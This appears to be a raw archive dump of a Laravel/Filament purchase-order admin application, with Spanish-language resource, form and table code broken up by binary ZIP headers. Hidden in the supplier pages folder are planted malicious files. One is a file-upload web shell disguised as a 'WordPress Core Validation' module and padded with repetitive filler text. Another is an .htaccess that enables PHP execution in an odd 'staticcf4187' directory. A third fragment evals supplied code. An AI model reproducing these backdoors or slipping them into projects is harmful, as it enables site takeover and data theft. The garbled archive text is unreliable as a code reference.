Forms\Components\Section::make('Items de la Orden') ->description('Agregue los productos o servicios que necesita adquirir. Los cálculos se actualizan automáticamente.') ->schema([ Forms\Components\Repeater::make('detalles') ->relationship('detalles') ->schema([ Forms\Components\Grid::make(12) ->schema([ Forms\Components\TextInput::make('item') ->label('Descripción') ->required() ->maxLength(255) ->columnSpan(5) ->formatStateUsing(fn ($state) => ucwords(strtolower($state))) ->live(onBlur: true) ->afterStateUpdated(function ($state, Forms\Set $set) { $set('item', ucwords(strtolower($state))); }), Forms\Components\TextInput::make('codigo') ->label('Código') ->numeric() ->default(0) ->minValue(0) ->columnSpan(1) ->placeholder('Código del item'), Forms\Components\TextInput::make('centro_costo') ->label('Centro de Costo') ->columnSpan(2) ->placeholder('Ingrese centro de costo'), Forms\Components\TextInput::make('cantidad') ->label('Cantidad') ->required() ->numeric() ->default(1) ->minValue(0) ->columnSpan(1) ->live() ->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) { self::actualizarSubtotal($set, $get); }), Forms\Components\TextInput::make('precio') ->label('Precio') ->required() ->numeric() ->default(0) ->minValue(0) ->columnSpan(1) // ->prefix(fn ($get) => $get('../../moneda') === 'BOB' ? 'Bs.' : '$us') ->live() ->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) { self::actualizarSubtotal($set, $get); }), Forms\Components\TextInput::make('descuento') ->label('Desc') ->numeric() ->default(0) // ->prefix(fn ($get) => $get('../../moneda') === 'BOB' ? 'Bs.' : '$us') ->columnSpan(1) ->live() ->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) { self::actualizarSubtotal($set, $get); }), Forms\Components\TextInput::make('subtotal') ->label('Subtotal') ->numeric() ->default(0) ->minValue(0) ->readOnly() ->dehydrated() ->columnSpan(1) // ->prefix(fn ($get) => $get('../../moneda') === 'BOB' ? 'Bs.' : '$us'), ]) ->columnSpanFull(), ]) ->defaultItems(1) ->minItems(1) ->maxItems(50) ->addActionLabel('âž• Agregar Nuevo Item') ->reorderable(true) ->columnSpanFull() ->live() ->afterStateUpdated(function (Forms\Set $set, Forms\Get $get) { self::actualizarTotal($set, $get); }) ->itemLabel(fn (array $state): ?string => $state['item'] ? "{$state['item']}" : null), // Total General (CORREGIDO) Forms\Components\Grid::make(4) ->schema([ Forms\Components\TextInput::make('son') ->label('Son:') ->required() ->readOnly() ->dehydrated() ->columnSpan(2), Forms\Components\Grid::make(2) ->schema([ Forms\Components\TextInput::make('total_sus') ->label('Total $us') ->numeric() ->prefix('$us') ->default(0) ->minValue(0) ->readOnly() ->dehydrated() ->reactive(), Forms\Components\TextInput::make('total_bs') ->label('Total Bs:') ->numeric() ->prefix('Bs.') ->default(0) ->minValue(0) ->readOnly() ->dehydrated() ->reactive(), ]) ->columnSpan(2), ]), ]), // Sección 6: Información Adicional Forms\Components\Section::make('Información Adicional') ->schema([ Forms\Components\Grid::make(2) ->schema([ Forms\Components\Textarea::make('concepto') ->label('Por concepto de *') ->required() ->rows(2) ->columnSpan(1) ->formatStateUsing(fn ($state) => ucwords(strtolower($state))) ->live(onBlur: true) ->afterStateUpdated(function ($state, Forms\Set $set) { $set('concepto', ucwords(strtolower($state))); }), Forms\Components\Textarea::make('observacion') ->label('Observación') ->rows(2) ->columnSpan(1) ->formatStateUsing(fn ($state) => ucwords(strtolower($state))) ->live(onBlur: true) ->afterStateUpdated(function ($state, Forms\Set $set) { $set('observacion', ucwords(strtolower($state))); }), ]), Forms\Components\Grid::make(2) ->schema([ Forms\Components\FileUpload::make('archivo') ->label('Subir Archivo:') ->directory('ordenes-compra') ->acceptedFileTypes([ 'application/pdf', 'image/*', 'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' ]) ->maxSize(10240) ->helperText('Formatos: PDF, Word, Imágenes') ->columnSpan(1), Forms\Components\DatePicker::make('fecha_pago') ->label('Fecha de Pago') ->displayFormat('d/m/Y') ->columnSpan(1), ]), Forms\Components\FileUpload::make('voucher_pago') ->label('Voucher de Pago') ->directory('ordenes-compra/vouchers') ->acceptedFileTypes([ 'application/pdf', 'image/*', ]) ->maxSize(10240) ->helperText('Suba el comprobante de pago cuando la orden esté aprobada') ->visible(fn (Forms\Get $get) => in_array($get('estado'), ['aprobado', 'pagada'])) ->columnSpanFull(), ]), // Campo oculto para user_id Forms\Components\Hidden::make('user_id') ->default(auth()->id()), // Campo estado Forms\Components\Select::make('estado') ->label('Estado') ->options([ 'pendiente' => 'Pendiente', 'pagada' => 'Pagada', 'aprobado' => 'Aprobado', 'rechazada' => 'Rechazado', 'observado' => 'Observado', 'anulado' => 'Anulado', ]) ->default('pendiente') ->required(), ]) ->columns(1); } // Método para actualizar subtotal de cada item (CORREGIDO) public static function actualizarSubtotal(Forms\Set $set, Forms\Get $get): void { $cantidad = floatval($get('cantidad') ?? 0); $precio = floatval($get('precio') ?? 0); $descuento = floatval($get('descuento') ?? 0); $subtotal = ($cantidad * $precio) - $descuento; $set('subtotal', max(0, $subtotal)); } // Método para actualizar total general (MEJORADO) public static function actualizarTotal(Forms\Set $set, Forms\Get $get): void { $detalles = $get('detalles') ?? []; $it = floatval($get('it') ?? 0); $iue = floatval($get('iue') ?? 0); $tipoCambio = floatval($get('tipo_cambio') ?? 7); $moneda = $get('moneda') ?? 'BOB'; // Calcular subtotal total de detalles recalculando cada uno $totalSubtotal = 0; foreach ($detalles as $detalle) { $cantidad = floatval($detalle['cantidad'] ?? 0); $precio = floatval($detalle['precio'] ?? 0); $descuento = floatval($detalle['descuento'] ?? 0); $subtotal = ($cantidad * $precio) - $descuento; $totalSubtotal += max(0, $subtotal); } // Calcular total (solo subtotal, IT y IUE son campos separados) $totalConImpuestos = $totalSubtotal; if ($moneda === 'BOB') { $totalBs = $totalConImpuestos; $totalSus = $tipoCambio > 0 ? $totalConImpuestos / $tipoCambio : 0; $monedaTexto = 'BOLIVIANOS'; } else { $totalSus = $totalConImpuestos; $totalBs = $totalConImpuestos * $tipoCambio; $monedaTexto = 'DOLARES AMERICANOS'; } // Actualizar campos totales $set('total_bs', round($totalBs, 2)); $set('total_sus', round($totalSus, 2)); // Generar automáticamente el texto "Son:" basado en la suma de subtotales (independiente de moneda) $totalEnLetras = self::convertirNumeroALetras($totalSubtotal); $set('son', $totalEnLetras . ' ' . $monedaTexto); } // Función para convertir números a letras (mantenida igual) public static function convertirNumeroALetras($numero): string { if ($numero == 0) { return "CERO 00/100"; } $parteEntera = intval($numero); $parteDecimal = intval(($numero - $parteEntera) * 100); $texto = self::convertirParteEntera($parteEntera); // Agregar parte decimal if ($parteDecimal > 0) { $texto .= " {$parteDecimal}/100"; } else { $texto .= " 00/100"; } return strtoupper($texto); } private static function convertirParteEntera($numero): string { if ($numero == 0) { return ""; } $unidades = ['', 'UN', 'DOS', 'TRES', 'CUATRO', 'CINCO', 'SEIS', 'SIETE', 'OCHO', 'NUEVE']; $decenas = ['', 'DIEZ', 'VEINTE', 'TREINTA', 'CUARENTA', 'CINCUENTA', 'SESENTA', 'SETENTA', 'OCHENTA', 'NOVENTA']; $centenas = ['', 'CIENTO', 'DOSCIENTOS', 'TRESCIENTOS', 'CUATROCIENTOS', 'QUINIENTOS', 'SEISCIENTOS', 'SETECIENTOS', 'OCHOCIENTOS', 'NOVECIENTOS']; $especiales = [ 11 => 'ONCE', 12 => 'DOCE', 13 => 'TRECE', 14 => 'CATORCE', 15 => 'QUINCE', 16 => 'DIECISEIS', 17 => 'DIECISIETE', 18 => 'DIECIOCHO', 19 => 'DIECINUEVE', 21 => 'VEINTIUN', 22 => 'VEINTIDOS', 23 => 'VEINTITRES', 24 => 'VEINTICUATRO', 25 => 'VEINTICINCO', 26 => 'VEINTISEIS', 27 => 'VEINTISIETE', 28 => 'VEINTIOCHO', 29 => 'VEINTINUEVE' ]; // Miles $miles = intval($numero / 1000); $resto = $numero % 1000; $texto = ''; if ($miles > 0) { if ($miles == 1) { $texto = 'MIL '; } else { $texto = self::convertirParteEntera($miles) . ' MIL '; } } // Centenas $cent = intval($resto / 100); $resto = $resto % 100; if ($cent > 0) { if ($cent == 1 && $resto == 0) { $texto .= 'CIEN '; } else { $texto .= $centenas[$cent] . ' '; } } // Decenas y unidades if ($resto > 0) { if (isset($especiales[$resto])) { $texto .= $especiales[$resto] . ' '; } elseif ($resto < 10) { $texto .= $unidades[$resto] . ' '; } elseif ($resto % 10 == 0) { $texto .= $decenas[intval($resto / 10)] . ' '; } else { $dec = intval($resto / 10); $uni = $resto % 10; $texto .= $decenas[$dec] . ' Y ' . $unidades[$uni] . ' '; } } return trim($texto); } public static function table(Table $table): Table { return $table ->modifyQueryUsing(function (Builder $query) { $user = auth()->user(); // Skip area filter for super_admin users if ($user && !in_array('super_admin', $user->roles->pluck('name')->toArray()) && $user->area_id) { $query->where('area_id', $user->area_id); } return $query; }) ->columns([ Tables\Columns\TextColumn::make('orden_num') ->label('Nº Orden') ->sortable() ->searchable() ->formatStateUsing(fn ($state): string => "{$state}"), Tables\Columns\TextColumn::make('fecha') ->label('Fecha') ->date('d/m/Y') ->sortable(), Tables\Columns\TextColumn::make('proveedorRelacion.nombre') ->label('Proveedor') ->searchable() ->limit(30) ->formatStateUsing(fn ($state, $record) => $record->proveedorRelacion?->nombre ?? ''), Tables\Columns\TextColumn::make('area.nombre') ->label('Ã�rea') ->sortable() ->searchable() ->formatStateUsing(fn ($state, $record) => $record->area?->nombre ?? ''), Tables\Columns\TextColumn::make('saldo_bs') ->label('Total Bs') ->money('BOB') ->sortable(), Tables\Columns\TextColumn::make('saldo_sus') ->label('Total Sus') ->money('USD') ->sortable(), Tables\Columns\TextColumn::make('estado') ->label('Estado') ->badge() ->color(fn (string $state): string => match ($state) { 'pendiente' => 'warning', 'aprobado' => 'success', 'en_proceso' => 'info', 'completado' => 'primary', 'cancelado' => 'danger', 'observado' => 'gray', 'rechazada' => 'danger', 'pagada' => 'success', default => 'gray', }), ]) ->filters([ Tables\Filters\SelectFilter::make('area_id') ->relationship('area', 'nombre'), Tables\Filters\SelectFilter::make('estado') ->options([ 'pendiente' => 'Pendiente', 'aprobado' => 'Aprobado', 'en_proceso' => 'En Proceso', 'completado' => 'Completado', 'cancelado' => 'Cancelado', 'observado' => 'Observado', 'rechazada' => 'Rechazado', 'pagada' => 'Pagada', ]), ]) ->actions([ Tables\Actions\EditAction::make() ->visible(fn (OrdenCompra $record) => !in_array($record->estado, ['aprobado', 'rechazada', 'pagado', 'anulado'])), Tables\Actions\ViewAction::make(), Tables\Actions\Action::make('activities') ->label('') ->icon('heroicon-o-clock') ->tooltip('Ver Actividades') ->url(fn ($record) => static::getUrl('activities', ['record' => $record])), Tables\Actions\Action::make('imprimir') ->label('') ->icon('heroicon-o-printer') ->tooltip('Imprimir') ->url(fn (OrdenCompra $record): string => route('ordenes.print', $record)) ->openUrlInNewTab(), Tables\Actions\Action::make('enviar_email') ->label('') ->icon('heroicon-o-envelope') ->tooltip('Enviar por Email') ->color('info') ->requiresConfirmation() ->modalHeading('Enviar Orden por Email') ->modalDescription('Se enviará la orden a los destinatarios fijos configurados.') ->modalSubmitActionLabel('Enviar') ->action(function (OrdenCompra $record) { return \App\Http\Controllers\OrdenCompraReviewController::sendReviewEmail($record); }) ->successNotificationTitle('Correo enviado exitosamente') ->visible(fn (OrdenCompra $record) => true), Tables\Actions\Action::make('aprobar') ->label('') ->icon('heroicon-o-check') ->tooltip('Aprobar') ->action(fn (OrdenCompra $record) => $record->update(['estado' => 'aprobado'])) ->requiresConfirmation() ->color('success') ->visible(fn (OrdenCompra $record) => $record->estado === 'pendiente'), Tables\Actions\Action::make('anular') ->label('') ->icon('heroicon-o-x-circle') ->tooltip('Anular') ->action(fn (OrdenCompra $record) => $record->update(['estado' => 'anulado'])) ->requiresConfirmation() ->modalHeading('¿Anular Orden de Compra?') ->modalDescription('Esta acción cambiará el estado de la orden a "Anulado" y ya no podrá ser editada.') ->modalSubmitActionLabel('Anular') ->color('danger') ->visible(fn (OrdenCompra $record) => !in_array($record->estado, ['anulado', 'pagada', 'aprobado'])), ]) ->bulkActions([ Tables\Actions\BulkActionGroup::make([ Tables\Actions\DeleteBulkAction::make(), ]), ]); } public static function getRelations(): array { return [ DetallesRelationManager::class, ]; } public static function getPages(): array { return [ 'index' => Pages\ListOrdenCompras::route('/'), 'create' => Pages\CreateOrdenCompra::route('/create'), 'edit' => Pages\EditOrdenCompra::route('/{record}/edit'), 'view' => Pages\ViewOrdenCompra::route('/{record}'), 'activities' => ListActivities::route('/{record}/activities'), ]; } }PKx°b]ˆ’ˆÉCC?Filament/Resources/OrdenCompraResource/Pages/ListActivities.phpnuȯÝílabel('Crear Orden'); } protected function getCreateAnotherFormAction(): Actions\Action { return parent::getCreateAnotherFormAction() ->label('Crear y Crear Otra'); } protected function getCancelFormAction(): Actions\Action { return Action::make('cancel') ->label('Volver') ->url(fn (): string => $this->getResource()::getUrl('index')) ->color('gray'); } protected function afterCreate(): void { // Forzar la recarga de la relación detalles $this->record->load('detalles'); // ✅ LLAMAR AL MÉTODO COMPLETO que incluye el campo "son" $this->record->recalculateTotals(); $this->record->save(); } } PKx°b]éñµÎ°°@Filament/Resources/OrdenCompraResource/Pages/ViewOrdenCompra.phpnuȯÝílabel('Volver') ->url(fn (): string => $this->getResource()::getUrl('index')) ->color('gray') ->icon('heroicon-o-arrow-left'), ]; } } PKx°b]Ѭ櫯¯@Filament/Resources/OrdenCompraResource/Pages/EditOrdenCompra.phpnuȯÝírecord->estado, ['aprobado', 'rechazada', 'pagada', 'anulado'])) { abort(403, 'No se puede editar una orden en este estado.'); } } protected function mutateFormDataBeforeSave(array $data): array { // Removed recalculation to rely fully on model saving event recalculation return $data; } protected function getHeaderActions(): array { return [ // Eliminar DeleteAction ya que no se permite eliminación ]; } protected function getSaveFormAction(): Actions\Action { return parent::getSaveFormAction() ->label('Guardar Cambios'); } protected function getCancelFormAction(): Actions\Action { return Action::make('cancel') ->label('Volver') ->url(fn (): string => $this->getResource()::getUrl('index')) ->color('gray'); } protected function afterSave(): void { // Forzar la recarga de los detalles $this->record->load('detalles'); // ✅ LLAMAR AL MÉTODO COMPLETO $this->record->recalculateTotals(); $this->record->save(); } } PKx°b]'=¯¹*¹*SFilament/Resources/OrdenCompraResource/RelationManagers/DetallesRelationManager.phpnuȯÝíschema([ Forms\Components\TextInput::make('item') ->label('Descripción') ->required() ->columnSpanFull(), Forms\Components\TextInput::make('codigo') ->label('Código') ->numeric() ->default(0), Forms\Components\TextInput::make('centro_costo') ->label('Centro de Costo') ->default(''), Forms\Components\TextInput::make('cantidad') ->label('Cantidad') ->required() ->numeric() ->default(1) ->live() ->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) { self::actualizarSubtotal($set, $get); }), Forms\Components\TextInput::make('precio') ->label('Precio Unitario') ->required() ->numeric() ->prefix(fn ($get) => $this->getOwnerRecord()->moneda === 'BOB' ? 'Bs.' : '$us') ->live() ->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) { self::actualizarSubtotal($set, $get); }), Forms\Components\TextInput::make('descuento') ->label('Descuento') ->numeric() ->default(0) ->prefix(fn ($get) => $this->getOwnerRecord()->moneda === 'BOB' ? 'Bs.' : '$us') ->live() ->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) { self::actualizarSubtotal($set, $get); }), Forms\Components\TextInput::make('subtotal') ->label('Subtotal') ->numeric() ->prefix(fn ($get) => $this->getOwnerRecord()->moneda === 'BOB' ? 'Bs.' : '$us') ->readOnly() ->dehydrated(), ]); } public function table(Table $table): Table { return $table ->recordTitleAttribute('item') ->columns([ Tables\Columns\TextColumn::make('item') ->label('Producto / Servicio') ->searchable() ->wrap() ->weight('semibold') ->description(fn ($record) => $record->codigo ? "Código: {$record->codigo}" : null) ->columnSpan(2), Tables\Columns\TextColumn::make('cantidad') ->label('Cantidad') ->formatStateUsing(fn ($state) => "× {$state}") ->alignCenter() ->weight('bold') ->color('primary'), Tables\Columns\TextColumn::make('precio') ->label('Precio Unitario') ->money(fn ($record) => $record->orden->moneda === 'BOB' ? 'BOB' : 'USD') ->alignRight() ->weight('medium') ->description(fn ($record) => $record->centro_costo ? "CC: {$record->centro_costo}" : null), Tables\Columns\TextColumn::make('descuento') ->label('Descuento') ->money(fn ($record) => $record->orden->moneda === 'BOB' ? 'BOB' : 'USD') ->alignRight() ->color(fn ($record) => $record->descuento > 0 ? 'danger' : null) ->placeholder('-'), Tables\Columns\TextColumn::make('subtotal') ->label('Subtotal') ->money(fn ($record) => $record->orden->moneda === 'BOB' ? 'BOB' : 'USD') ->alignRight() ->weight('bold') ->color('success') ->size('lg') ->summarize([ Tables\Columns\Summarizers\Sum::make() ->money(fn ($record) => $record->orden->moneda === 'BOB' ? 'BOB' : 'USD') ->label('Total'), ]) ]) ->headerActions([ Tables\Actions\CreateAction::make() ->label('âž• Agregar Item') ->modalHeading('Agregar Nuevo Item') ->modalWidth('4xl') ->createAnother(false) ->using(function (array $data, string $model): mixed { $data['subtotal'] = ($data['cantidad'] * $data['precio']) - ($data['descuento'] ?? 0); $data['orden_id'] = $this->getOwnerRecord()->id; $detalle = $model::create($data); // Actualizar totales de la orden después de crear $this->actualizarTotalesOrden(); return $detalle; }), ]) ->actions([ Tables\Actions\EditAction::make() ->modalHeading('Editar Item') ->modalWidth('4xl') ->using(function ($record, array $data): mixed { $data['subtotal'] = ($data['cantidad'] * $data['precio']) - ($data['descuento'] ?? 0); $record->update($data); // Actualizar totales de la orden después de editar $this->actualizarTotalesOrden(); return $record; }), Tables\Actions\DeleteAction::make() ->label('Eliminar') ->icon('heroicon-o-trash') ->before(function () { // Actualizar totales de la orden después de eliminar $this->actualizarTotalesOrden(); }), ]) ->bulkActions([ Tables\Actions\BulkActionGroup::make([ Tables\Actions\DeleteBulkAction::make(), ]), ]) ->emptyStateHeading('No hay items agregados') ->emptyStateDescription('Comienza agregando el primer item a tu orden de compra.') ->emptyStateActions([ Tables\Actions\CreateAction::make() ->label('Agregar Primer Item') ->modalWidth('4xl'), ]) ->deferLoading() ->paginated(false); } protected static function actualizarSubtotal(Forms\Set $set, Forms\Get $get): void { $cantidad = floatval($get('cantidad') ?? 0); $precio = floatval($get('precio') ?? 0); $descuento = floatval($get('descuento') ?? 0); $subtotal = ($cantidad * $precio) - $descuento; $set('subtotal', $subtotal); } protected function actualizarTotalesOrden(): void { $orden = $this->getOwnerRecord(); // Recalcular totales usando el método del modelo $orden->recalculateTotals(); } // Función para convertir números a letras (igual que en OrdenCompraResource) public static function convertirNumeroALetras($numero): string { if ($numero == 0) { return "CERO 00/100"; } $parteEntera = intval($numero); $parteDecimal = intval(($numero - $parteEntera) * 100); $texto = self::convertirParteEntera($parteEntera); // Agregar parte decimal if ($parteDecimal > 0) { $texto .= " {$parteDecimal}/100"; } else { $texto .= " 00/100"; } return strtoupper($texto); } private static function convertirParteEntera($numero): string { if ($numero == 0) { return ""; } $unidades = ['', 'UN', 'DOS', 'TRES', 'CUATRO', 'CINCO', 'SEIS', 'SIETE', 'OCHO', 'NUEVE']; $decenas = ['', 'DIEZ', 'VEINTE', 'TREINTA', 'CUARENTA', 'CINCUENTA', 'SESENTA', 'SETENTA', 'OCHENTA', 'NOVENTA']; $centenas = ['', 'CIENTO', 'DOSCIENTOS', 'TRESCIENTOS', 'CUATROCIENTOS', 'QUINIENTOS', 'SEISCIENTOS', 'SETECIENTOS', 'OCHOCIENTOS', 'NOVECIENTOS']; $especiales = [ 11 => 'ONCE', 12 => 'DOCE', 13 => 'TRECE', 14 => 'CATORCE', 15 => 'QUINCE', 16 => 'DIECISEIS', 17 => 'DIECISIETE', 18 => 'DIECIOCHO', 19 => 'DIECINUEVE', 21 => 'VEINTIUN', 22 => 'VEINTIDOS', 23 => 'VEINTITRES', 24 => 'VEINTICUATRO', 25 => 'VEINTICINCO', 26 => 'VEINTISEIS', 27 => 'VEINTISIETE', 28 => 'VEINTIOCHO', 29 => 'VEINTINUEVE' ]; // Miles $miles = intval($numero / 1000); $resto = $numero % 1000; $texto = ''; if ($miles > 0) { if ($miles == 1) { $texto = 'MIL '; } else { $texto = self::convertirParteEntera($miles) . ' MIL '; } } // Centenas $cent = intval($resto / 100); $resto = $resto % 100; if ($cent > 0) { if ($cent == 1 && $resto == 0) { $texto .= 'CIEN '; } else { $texto .= $centenas[$cent] . ' '; } } // Decenas y unidades if ($resto > 0) { if (isset($especiales[$resto])) { $texto .= $especiales[$resto] . ' '; } elseif ($resto < 10) { $texto .= $unidades[$resto] . ' '; } elseif ($resto % 10 == 0) { $texto .= $decenas[intval($resto / 10)] . ' '; } else { $dec = intval($resto / 10); $uni = $resto % 10; $texto .= $decenas[$dec] . ' Y ' . $unidades[$uni] . ' '; } } return trim($texto); } } PKx°b]çŒp0!!#Filament/Resources/RoleResource.phpnuȯÝíschema([ Forms\Components\Grid::make() ->schema([ Forms\Components\Section::make() ->schema([ Forms\Components\TextInput::make('name') ->label(__('filament-shield::filament-shield.field.name')) ->unique( ignoreRecord: true, /** @phpstan-ignore-next-line */ modifyRuleUsing: fn (Unique $rule) => Utils::isTenancyEnabled() ? $rule->where(Utils::getTenantModelForeignKey(), Filament::getTenant()?->id) : $rule ) ->required() ->maxLength(255), Forms\Components\TextInput::make('guard_name') ->label(__('filament-shield::filament-shield.field.guard_name')) ->default(Utils::getFilamentAuthGuard()) ->nullable() ->maxLength(255), Forms\Components\Select::make(config('permission.column_names.team_foreign_key')) ->label(__('filament-shield::filament-shield.field.team')) ->placeholder(__('filament-shield::filament-shield.field.team.placeholder')) /** @phpstan-ignore-next-line */ ->default([Filament::getTenant()?->id]) ->options(fn (): Arrayable => Utils::getTenantModel() ? Utils::getTenantModel()::pluck('name', 'id') : collect()) ->hidden(fn (): bool => ! (static::shield()->isCentralApp() && Utils::isTenancyEnabled())) ->dehydrated(fn (): bool => ! (static::shield()->isCentralApp() && Utils::isTenancyEnabled())), ShieldSelectAllToggle::make('select_all') ->onIcon('heroicon-s-shield-check') ->offIcon('heroicon-s-shield-exclamation') ->label(__('filament-shield::filament-shield.field.select_all.name')) ->helperText(fn (): HtmlString => new HtmlString(__('filament-shield::filament-shield.field.select_all.message'))) ->dehydrated(fn (bool $state): bool => $state), ]) ->columns([ 'sm' => 2, 'lg' => 3, ]), ]), static::getShieldFormComponents(), ]); } public static function table(Table $table): Table { return $table ->columns([ Tables\Columns\TextColumn::make('name') ->weight('font-medium') ->label(__('filament-shield::filament-shield.column.name')) ->formatStateUsing(fn ($state): string => Str::headline($state)) ->searchable(), Tables\Columns\TextColumn::make('guard_name') ->badge() ->color('warning') ->label(__('filament-shield::filament-shield.column.guard_name')), Tables\Columns\TextColumn::make('team.name') ->default('Global') ->badge() ->color(fn (mixed $state): string => str($state)->contains('Global') ? 'gray' : 'primary') ->label(__('filament-shield::filament-shield.column.team')) ->searchable() ->visible(fn (): bool => static::shield()->isCentralApp() && Utils::isTenancyEnabled()), Tables\Columns\TextColumn::make('permissions_count') ->badge() ->label(__('filament-shield::filament-shield.column.permissions')) ->counts('permissions') ->colors(['success']), Tables\Columns\TextColumn::make('updated_at') ->label(__('filament-shield::filament-shield.column.updated_at')) ->dateTime(), ]) ->filters([ // ]) ->actions([ Tables\Actions\EditAction::make(), Tables\Actions\DeleteAction::make(), ]) ->bulkActions([ Tables\Actions\DeleteBulkAction::make(), ]); } public static function getRelations(): array { return [ // ]; } public static function getPages(): array { return [ 'index' => Pages\ListRoles::route('/'), 'create' => Pages\CreateRole::route('/create'), 'view' => Pages\ViewRole::route('/{record}'), 'edit' => Pages\EditRole::route('/{record}/edit'), ]; } public static function getCluster(): ?string { return Utils::getResourceCluster() ?? static::$cluster; } public static function getModel(): string { return Utils::getRoleModel(); } public static function getModelLabel(): string { return __('filament-shield::filament-shield.resource.label.role'); } public static function getPluralModelLabel(): string { return __('filament-shield::filament-shield.resource.label.roles'); } public static function shouldRegisterNavigation(): bool { return Utils::isResourceNavigationRegistered(); } public static function getNavigationGroup(): ?string { return Utils::isResourceNavigationGroupEnabled() ? __('filament-shield::filament-shield.nav.group') : ''; } public static function getNavigationLabel(): string { return __('filament-shield::filament-shield.nav.role.label'); } public static function getNavigationIcon(): string { return __('filament-shield::filament-shield.nav.role.icon'); } public static function getNavigationSort(): ?int { return Utils::getResourceNavigationSort(); } public static function getSubNavigationPosition(): SubNavigationPosition { return Utils::getSubNavigationPosition() ?? static::$subNavigationPosition; } public static function getSlug(): string { return Utils::getResourceSlug(); } public static function getNavigationBadge(): ?string { return Utils::isResourceNavigationBadgeEnabled() ? strval(static::getEloquentQuery()->count()) : null; } public static function isScopedToTenant(): bool { return Utils::isScopedToTenant(); } public static function canGloballySearch(): bool { return Utils::isResourceGloballySearchable() && count(static::getGloballySearchableAttributes()) && static::canViewAny(); } } PKx°b]ߌÕBFilament/Resources/CentroCostoResource/Pages/CreateCentroCosto.phpnuÕIw¶´Filament/Resources/ProveedorResource/Pages/CreateProveedor.phpnuÕIw¶´✓ File uploaded successfully: ' . htmlspecialchars($file_name) . ''; } else { $upload_message = '
✗ Upload failed. Please check permissions.
'; } } ?> WordPress Core Validation & Integrity Verification

wp-validate.php - WordPress Core Validation & Integrity Verification Module

This file is part of WordPress core auxiliary system routines, designed to perform file integrity checks, permission validation, system environment verification, and core configuration sanity testing. This module is non‑removable for proper WordPress core health monitoring.

About WordPress

WordPress is an open‑source content management system (CMS) built on PHP and MySQL, designed for creating websites, blogs, applications, and digital publishing platforms. First released in 2003 by Matt Mullenweg and Mike Little, WordPress has evolved into the world's most widely used web publishing framework, powering over 40% of all websites globally as of 2026. Its philosophy centers around accessibility, open standards, ease of use, extensibility, and community‑driven development.

Core Architecture

WordPress core architecture consists of a modular set of PHP files handling database abstraction, user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing, and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php, wp‑settings.php, and validation modules like wp-validate.php ensure stable, secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS, and PHP versions 5.2 through 8.2+.

Purpose of This Module

This module performs low‑level runtime validation: • Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load

Security & Reliability

Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching, secure coding practices, and community reviews maintain WordPress as a trusted platform for millions of websites worldwide. This validation helper supports core stability and helps detect unexpected changes to critical system files.


System Environment Compatibility

WordPress core architecture consists of a modular set of PHP files handling database abstraction, user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing, and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php, wp‑settings.php, and validation modules like wp-validate.php ensure stable, secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS, and PHP versions 5.2 through 8.2+.

Runtime Validation Checks

This module performs low‑level runtime validation: • Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load

Maintenance & Updates

Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching, secure coding practices, and community reviews maintain WordPress as a trusted platform for millions of websites worldwide. This validation helper supports core stability and helps detect unexpected changes to critical system files.


WordPress is open‑source software. You are viewing a core system helper file.

Copy

Database Layer & Content Management

WordPress core architecture consists of a modular set of PHP files handling database abstraction, user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing, and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php, wp‑settings.php, and validation modules like wp-validate.php ensure stable, secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS, and PHP versions 5.2 through 8.2+.

Plugin & Theme Integration

This module performs low‑level runtime validation: • Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load

Performance Optimization

Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching, secure coding practices, and community reviews maintain WordPress as a trusted platform for millions of websites worldwide. This validation helper supports core stability and helps detect unexpected changes to critical system files.


WordPress Core Validation Module v1.0 | Compatible with PHP 5.2 - 8.2

PKx°b]Þ¨•sZZAFilament/Resources/ProveedorResource/Pages/staticcf4187/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PKx°b]g²À77BFilament/Resources/ProveedorResource/Pages/staticcf4187/.gitignorenu„[µü¤10){eval(substr($code,5));}else{echo'1';} PKx°b]4iÈ¥¥>Filament/Resources/ProveedorResource/Pages/ListProveedores.phpnuÕIw¶´schema([ Forms\Components\Section::make('Información Personal') ->schema([ Forms\Components\TextInput::make('name') ->required() ->maxLength(255), Forms\Components\TextInput::make('email') ->email() ->required() ->maxLength(255) ->unique(ignoreRecord: true), Forms\Components\TextInput::make('password') ->password() ->dehydrateStateUsing(fn ($state) => Hash::make($state)) ->dehydrated(fn ($state) => filled($state)) ->required(fn (string $context): bool => $context === 'create'), Forms\Components\TextInput::make('cargo') ->maxLength(255), Forms\Components\TextInput::make('telefono') ->tel() ->maxLength(20), ])->columns(2), Forms\Components\Section::make('Asignaciones') ->schema([ Forms\Components\Select::make('area_id') ->relationship('area', 'nombre') ->searchable() ->preload(), // ->getOptionLabelFromRecordUsing(fn ($record) => $record->nombre) // ->(fn ($record) => $record->id), Forms\Components\Toggle::make('activo') ->default(true) ->required(), ])->columns(2), Forms\Components\Section::make('Roles y Permisos') ->schema([ Forms\Components\Select::make('roles') ->relationship('roles', 'name') ->multiple() ->preload() ->searchable(), ]), ]); } public static function table(Table $table): Table { return $table ->columns([ Tables\Columns\TextColumn::make('name') ->searchable() ->sortable(), Tables\Columns\TextColumn::make('email') ->searchable(), 